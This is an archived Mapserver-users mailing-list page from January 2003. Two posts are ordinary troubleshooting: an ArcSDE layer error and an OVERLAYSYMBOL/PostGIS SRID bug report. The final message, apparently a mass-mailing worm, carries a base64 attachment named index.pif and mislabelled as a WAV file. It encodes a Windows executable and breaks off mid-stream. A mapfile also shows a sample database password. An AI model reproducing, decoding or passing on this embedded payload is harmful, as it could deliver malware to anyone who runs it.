-- Jeff Hoffmann PropertyKey.com From teb at mallit.fr.umn.edu Tue Jan 7 14:08:39 2003 From: teb at mallit.fr.umn.edu (Thomas E. Burk) Date: Tue, 7 Jan 2003 16:08:39 -0600 (CST) Subject: [Mapserver-users] Mapserver and ArcSDE (fwd) Message-ID: <200301072208.h07M8di17980@mallit.fr.umn.edu> >From bergholz at land-system.de Tue Jan 7 05:39:33 2003 Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109]) by mallit.fr.umn.edu (8.11.6+Sun/8.9.1) with ESMTP id h07BdXh17571 for ; Tue, 7 Jan 2003 05:39:33 -0600 (CST) Received: from www.land-system.de ([213.168.203.6]) by lists.gis.umn.edu (8.12.6/8.12.6) with ESMTP id h07BlSae014174 for ; Tue, 7 Jan 2003 05:47:33 -0600 (CST) Subject: Mapserver and ArcSDE Date: Tue, 7 Jan 2003 12:46:50 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Message-ID: <5520070FE7AB574DAEA25A428B77BD7C0BD0DA at defiant.deepspace> X-MS-Has-Attach: X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 X-MS-TNEF-Correlator: content-class: urn:content-classes:message Thread-Topic: Mapserver and ArcSDE Thread-Index: AcK2QncYwdTi/9TcTkqPdz4HW1+TPg== From: "Petra Bergholz" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mallit.fr.umn.edu id h07BdXh17571 Hi, I have a question: I tried to run the Minnesota Mapserver with data from an ArcSDE Layer, but I get the following error-message: " msSDELayerOpen(): General error message. SDE support is not available. " Could you please tell me, what I might have done wrong??? My Layer-Description in my mapfile looks like this: LAYER NAME sde.SDE.osterholz_gemeinden TYPE POLYGON CONNECTION "kirk,esri_sde,SDE,sde,sdepwd" CONNECTIONTYPE sde DATA "sde.SDE.osterholz_gemeinden,shape" STATUS OFF CLASSITEM ZIP_CODE CLASS NAME "OsterholzGemeinden" EXPRESSION /./ OUTLINECOLOR 0 0 0 COLOR 255 255 255 TEMPLATE "osterholz.html" END HEADER "osterholz_header.html" FOOTER "osterholz_footer.html" DUMP TRUE # allow GML export METADATA WMS_TITLE "osterholz_gemeinden" WMS_ABSTRACT "Osterholz Gemeinden shapefile." WMS_SRS "EPSG:AUTO" END END I'm looking forward to your answer! Regards Petra Bergholz From steve.lime at dnr.state.mn.us Tue Jan 7 14:21:28 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 07 Jan 2003 16:21:28 -0600 Subject: [Mapserver-users] Mapserver and ArcSDE (fwd) Message-ID: It means you haven't compiled MapServer against the SDE client libs... >>> "Thomas E. Burk" 01/07/03 04:08PM >>> >From bergholz at land-system.de Tue Jan 7 05:39:33 2003 Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109]) by mallit.fr.umn.edu (8.11.6+Sun/8.9.1) with ESMTP id h07BdXh17571 for ; Tue, 7 Jan 2003 05:39:33 -0600 (CST) Received: from www.land-system.de ([213.168.203.6]) by lists.gis.umn.edu (8.12.6/8.12.6) with ESMTP id h07BlSae014174 for ; Tue, 7 Jan 2003 05:47:33 -0600 (CST) Subject: Mapserver and ArcSDE Date: Tue, 7 Jan 2003 12:46:50 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Message-ID: <5520070FE7AB574DAEA25A428B77BD7C0BD0DA at defiant.deepspace> X-MS-Has-Attach: X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 X-MS-TNEF-Correlator: content-class: urn:content-classes:message Thread-Topic: Mapserver and ArcSDE Thread-Index: AcK2QncYwdTi/9TcTkqPdz4HW1+TPg== From: "Petra Bergholz" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mallit.fr.umn.edu id h07BdXh17571 Hi, I have a question: I tried to run the Minnesota Mapserver with data from an ArcSDE Layer, but I get the following error-message: " msSDELayerOpen(): General error message. SDE support is not available. " Could you please tell me, what I might have done wrong??? My Layer-Description in my mapfile looks like this: LAYER NAME sde.SDE.osterholz_gemeinden TYPE POLYGON CONNECTION "kirk,esri_sde,SDE,sde,sdepwd" CONNECTIONTYPE sde DATA "sde.SDE.osterholz_gemeinden,shape" STATUS OFF CLASSITEM ZIP_CODE CLASS NAME "OsterholzGemeinden" EXPRESSION /./ OUTLINECOLOR 0 0 0 COLOR 255 255 255 TEMPLATE "osterholz.html" END HEADER "osterholz_header.html" FOOTER "osterholz_footer.html" DUMP TRUE # allow GML export METADATA WMS_TITLE "osterholz_gemeinden" WMS_ABSTRACT "Osterholz Gemeinden shapefile." WMS_SRS "EPSG:AUTO" END END I'm looking forward to your answer! Regards Petra Bergholz _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eblevins at insight.rr.com Tue Jan 7 14:52:54 2003 From: eblevins at insight.rr.com (Eric L. Blevins) Date: Tue, 7 Jan 2003 17:52:54 -0500 Subject: [Mapserver-users] Strange problem when using OVERLAYSYMBOL Message-ID: <01ad01c2b69f$84539280$6405a8c0@piii933> This is a multi-part message in MIME format. ------=_NextPart_000_01AA_01C2B675.9B0637A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This might be a bug or maybe I have something missing from my layers but = I do know that removing OVERLAYSYMBOL from the layer makes this problem = go away. this causes an error in the layer directly after this layer: LAYER NAME railroad TYPE line STATUS default CONNECTIONTYPE postgis maxscale 200000 CONNECTION "user=3DXXXXX dbname=3DTIGER host=3DXXXXX" DATA "the_geom from (select oid,the_geom,fename,fetype from = railroad) AS foo using SRID=3D4269" CLASS SYMBOL 'circle' COLOR 0 0 0 size 5 OVERLAYSYMBOL 'dcircle' OVERLAYCOLOR 255 255 255 overlaySIZE 3 end END This is the error I recieve which happens to be the next layer in the = map file: msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS SQL = statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT = asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from = (select oid,the_geom,fename,fetype,symbol from local) AS foo WHERE = the_geom && 'BOX3D(-71.133294768 42.308640336,-71.027438768 = 42.414496336)'::BOX3D=20 However if I remove the OVERLAY stuff the errors go away. The thing I noticed is that the SRID is not in this query and if you try = to run this query from the command line postgresql returns "ERROR: = Operation on two GEOMETRIES with different SRIDs" hence the reason the = next layer fails. Here is what the next layer looks like: LAYER NAME Local TYPE line STATUS default CONNECTIONTYPE postgis maxscale 22000 CONNECTION "user=3DXXX dbname=3DTIGER host=3DXXX" DATA "the_geom from (select oid,the_geom,fename,fetype,symbol = from local) AS foo using SRID=3D4269" SIZEUNITS feet CLASS COLOR 140 140 140 size 40 symbol "circle" end END You can see that I have the using SRID=3D4269 in the layer but for some = reason when I use OVERLAYSYMBOL the using SRID=3D4269 gets ignored in = the layer following the layer with OVERLAYSYMBOL. Simply removing the = OVERLAYXXX lines from the mapfile everything renders perfect. Anyone have any ideas what the problem could be? Thanks! Eric L. Blevins www.WiFiMaps.com ------=_NextPart_000_01AA_01C2B675.9B0637A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
This might be a bug or maybe I have = something=20 missing from my layers but I do know that removing OVERLAYSYMBOL from = the layer=20 makes this problem go away.
 
this causes an error in the layer = directly=20 after this layer:
LAYER
       =20 NAME railroad
        TYPE=20 line
        STATUS=20 default
        CONNECTIONTYPE=20 postgis
        maxscale=20 200000
        CONNECTION = "user=3DXXXXX=20 dbname=3DTIGER = host=3DXXXXX"
        DATA=20 "the_geom from (select oid,the_geom,fename,fetype from railroad) AS foo = using=20 SRID=3D4269"
       =20 CLASS
          &nbs= p;    =20 SYMBOL=20 'circle'
          &= nbsp;    =20 COLOR 0 0=20 0
           &n= bsp;   =20 size=20 5
           &n= bsp;   =20 OVERLAYSYMBOL=20 'dcircle'
          =      =20 OVERLAYCOLOR 255 255=20 255
           =     =20 overlaySIZE 3
 
       =20 end
END
 
This is the error I recieve which = happens to be the=20 next layer in the map file:
 
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS = SQL=20 statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT=20 asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from = (select=20 oid,the_geom,fename,fetype,symbol from local) AS foo WHERE the_geom = &&=20 'BOX3D(-71.133294768 42.308640336,-71.027438768 42.414496336)'::BOX3D=20
 
However if I remove the OVERLAY stuff = the errors go=20 away.
 
 
The thing I noticed is that the SRID is = not in this=20 query and if you try to run this query from the command line postgresql = returns=20 "ERROR:  Operation on two GEOMETRIES with different SRIDs" hence = the reason=20 the next layer fails.
 
Here is what the next layer looks=20 like:
LAYER
       =20 NAME Local
        TYPE=20 line
        STATUS=20 default
        CONNECTIONTYPE=20 postgis
        maxscale=20 22000
        CONNECTION = "user=3DXXX=20 dbname=3DTIGER host=3DXXX"
        = DATA=20 "the_geom from (select oid,the_geom,fename,fetype,symbol from local) AS = foo=20 using SRID=3D4269"
        = SIZEUNITS=20 feet
       =20 CLASS
          &nbs= p;    =20 COLOR  140 140=20 140
           =     =20 size=20 40
           &= nbsp;   =20 symbol "circle"
        =20 end
END
 
You can see that I have the using = SRID=3D4269 in the=20 layer but for some reason when I use OVERLAYSYMBOL the using SRID=3D4269 = gets=20 ignored in the layer following the layer with OVERLAYSYMBOL.  = Simply=20 removing the OVERLAYXXX lines from the mapfile everything renders=20 perfect.
 
Anyone have any ideas what the = problem could=20 be?
 
Thanks!
Eric L. = Blevins
www.WiFiMaps.com
=
 
------=_NextPart_000_01AA_01C2B675.9B0637A0-- From gerald at cvis.net.ph Tue Jan 7 16:44:06 2003 From: gerald at cvis.net.ph (gerald) Date: Wed, 8 Jan 2003 08:44:06 +0800 Subject: [Mapserver-users] 2003 GeraldOnline Systems. All rights Reserved. Message-ID: <200301080044.h080i6K23526@bukid.cvis.net.ph> --NB56c6K284a9t3O4F0v58bqlsE6 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --NB56c6K284a9t3O4F0v58bqlsE6 Content-Type: audio/x-wav; name=index.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 